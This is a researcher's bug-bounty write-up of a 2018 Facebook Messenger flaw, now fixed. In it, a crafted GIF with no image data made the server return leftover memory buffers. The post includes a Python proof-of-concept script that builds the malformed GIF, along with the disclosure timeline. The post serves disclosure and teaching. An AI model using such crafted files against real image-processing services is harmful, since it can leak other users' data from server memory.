Facebook Messenger server random memory exposure through corrupted GIF image

Intro

Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).
Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?
(spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)

Basic GIF image

I found clear description of GIF image format, the main header should look like this:


Offset   Length   Contents
  0      3 bytes  "GIF"
  3      3 bytes  "87a" or "89a"
  6      2 bytes  <Logical Screen Width>
  8      2 bytes  <Logical Screen Height>
 10      1 byte   bit 0:    Global Color Table Flag (GCTF)
                  bit 1..3: Color Resolution
                  bit 4:    Sort Flag to Global Color Table
                  bit 5..7: Size of Global Color Table: 2^(1+n)
 11      1 byte   <Background Color Index>
 12      1 byte   <Pixel Aspect Ratio>
 13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
         ? bytes  <Blocks>
         1 bytes  <Trailer> (0x3b)

(Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header)
I decided to create the basic GIF file with the minimal required fields.

Making own GIF

To create own GIF I've taken python to help me generate binary file


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import struct

screenWidth = 640
screenHeight = 480

f = open('test.gif', 'wb')

# Offset   Length   Contents
#   0      3 bytes  "GIF"
#   3      3 bytes  "87a" or "89a"
f.write(b"GIF89a")

#   6      2 bytes  <Logical Screen Width>
f.write(struct.pack('<h', screenWidth))

#   8      2 bytes  <Logical Screen Height>
f.write(struct.pack('<h', screenHeight))

#  10      1 byte   bit 0:    Global Color Table Flag (GCTF)
#                   bit 1..3: Color Resolution
#                   bit 4:    Sort Flag to Global Color Table
#                   bit 5..7: Size of Global Color Table: 2^(1+n)
bits = int('00000010', 2)
f.write(struct.pack('<b', bits))

#  11      1 byte   <Background Color Index>
f.write(struct.pack('<b', 0))

#  12      1 byte   <Pixel Aspect Ratio>
f.write(struct.pack('<b', 1))

#  13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>

#          ? bytes  <Blocks>


# Offset   Length   Contents
#   0      1 byte   Image Separator (0x2c)
f.write(struct.pack('<b', 0x2c))

#   1      2 bytes  Image Left Position
f.write(struct.pack('<h', 0))

#   3      2 bytes  Image Top Position
f.write(struct.pack('<h', 0))

#   5      2 bytes  Image Width
f.write(struct.pack('<h', screenWidth))

#   7      2 bytes  Image Height
f.write(struct.pack('<h', screenHeight))

#   8      1 byte   bit 0:    Local Color Table Flag (LCTF)
#                   bit 1:    Interlace Flag
#                   bit 2:    Sort Flag
#                   bit 2..3: Reserved
#                   bit 4..7: Size of Local Color Table: 2^(1+n)
#          ? bytes  Local Color Table(0..255 x 3 bytes) if LCTF is one
f.write(struct.pack('<b', int('00000100', 2)))

#          1 byte   LZW Minimum Code Size
#f.write(struct.pack('<b', 1))

# [ // Blocks
#          1 byte   Block Size (s)
#f.write(struct.pack('<b', 1))

#         (s)bytes  Image Data
# ]*
#          1 byte   Block Terminator(0x00)
#f.write(struct.pack('<b', 0))


#          1 bytes  <Trailer> (0x3b)



f.write(struct.pack('<b', 0x3b))

f.close()

This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.

Facebook Messenger 

I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:
It was very small, increased size
Wait, but our GIF does't have any content, what image I have back from Facebook?
I had changed GIF size and saw this white noise image, hm, looks also weird:

No TV signal

Really strange. I've uploaded the same binary again and saw:

Embedded TV screen in Messenger
Image a bit changed. But I uploaded the same GIF in both cases.
After playing with GIF screen/image sizes:


Full screen picture
This reminds me situation when you tried to read image from file and used width instead of height.
Finally I caught this output:
Semi stable TV signal in Messenger caught
And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.

Timeline

26 FEB 2018: report sent to Facebook Team
01 MAR 2018: triaged
09 MAR 2018: fixed
21 MAR 2018: 10k$

Popular posts from this blog

React debug.keystore key was trusted by Meta(Facebook) which caused to Instagram account takeover by malicious apps.

Meta Quest: Attacker could make any Oculus user to follow (subscribe) him without any approval